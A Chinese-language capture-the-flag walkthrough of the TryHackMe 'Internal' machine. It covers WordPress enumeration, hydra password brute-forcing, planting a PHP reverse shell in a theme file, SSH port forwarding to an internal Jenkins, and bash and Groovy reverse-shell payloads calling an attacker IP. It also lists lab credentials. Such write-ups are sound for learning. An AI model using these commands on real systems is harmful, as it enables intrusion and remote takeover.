thm-Internal

thm-Internal wp

来到开始,就是一个apache的默认页面

image-20240731131447165

没什么头绪,先拿点信息

image-20240731131331411

发现没有什么服务能够被利用,爆破目录

1
2
3
4
5
6
7
8
9
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/blog (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
/wordpress (Status: 301)

来到/blog路由

image-20240801223002063

此处有一个文章点进去看,发现作者是admin

image-20240801223016394

从已有信息来看这个框架是WordPress,有专门对应的工具来扫描

1
wpscan --url http://internal.thm/blog -e u

拿到了其版本信息

image-20240801223800487

但是没有可利用的漏洞

拿到主题路径

http://internal.thm/blog/wp-content/themes/twentyseventeen/

image-20240801223858154

并且枚举到admin用户名

image-20240801223950492

在网站下方,发现有登录链接

image-20240801224059033

有个登录框

image-20240801224115478

爆破拿到密码my2boys

1
hydra -l admin -P rockyou.txt internal.thm http-post-form "//blog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirectadmin%2F&testcookie=1:F=incorrect"

image-20240731131506216

来到页面,通过审理功能发现此处可以修改php代码,再利用我们之前拿到的主题链接,可以访问这里的php代码

http://internal.thm/blog/wp-content/themes/twentyseventeen/

image-20240801224215116

使用404页面,将php_reserve代码粘贴进去,修改ip和port

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

image-20240801224336738

保存后,本地起监听然后访问

http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php

拿到shell

image-20240801224504709

可以通过命令获取更稳定的shell

1
2
3
4
5
which python  #在运行下面命令前,可以先执行此处看看有没有python环境
python -c "import pty ; pty.spawn('/bin/bash')"

#不过
/bin/bash -i #好像也行

当前用户是www-data,来到home页面下,有一个用户aubreanna,我们接下来要突破的就是这个用户

image-20240801224651786

尝试许多提权方式无果后陷入僵局,最后通过不断查询发现/opt目录下有一个文件

image-20240801205021627

拿到了一个账号和密码 aubreanna:bubb13guM!@#123

切换为aubreanna用户来到home目录

image-20240801205130033

拿到一个信息

image-20240801204933505

有个服务开在内网的172.17.0.2:8080 位置,无法从外部无法访问

此时通过ssh反向代理将其8080端口流量转发到本地

1
ssh -f -N -L 4567:172.17.0.2:8080 aubreanna@internal.thm #在自己的机器上使用

运行完后来到本地 localhost:4567 即可访问新网站

浏览后发现一个登录框

image-20240801215614918

尝试爆破,拿到密码

image-20240801212007114

admin:spongebob

登陆后通过审理功能发现漏洞点

方法一

创建一个新项目

image-20240801215816569

下面可以选择构建,其中可以执行Linux命令

image-20240801215904502

输入以下

1
/bin/bash -c "/bin/bash -i > /dev/tcp/10.11.68.215/6788 0>&1 2<&1"

点击build now

image-20240801220014266

拿到shell

image-20240801220115817

方法二

此处可以执行命令

image-20240801231411035

编写脚本

image-20240801231320656

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def command = ["/bin/bash", "-c", "/bin/bash -i > /dev/tcp/10.11.68.215/6788 0<&1 2>&1"]
def process = command.execute()

// 获取命令输出
def outputStream = new StringBuffer()
def errorStream = new StringBuffer()

process.consumeProcessOutput(outputStream, errorStream)

// 等待命令执行完成
process.waitFor()

println "Output: ${outputStream}"
println "Errors: ${errorStream}"
println "Exit code: ${process.exitValue()}"

运行就能拿到shell

拿shell后

然后转到opt目录,拿到root:tr0ub13guM!@#123

image-20240801215441481

尝试在本机直接登录发现行不通,还是最开始拿到的shell处登录

image-20240801215536173

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信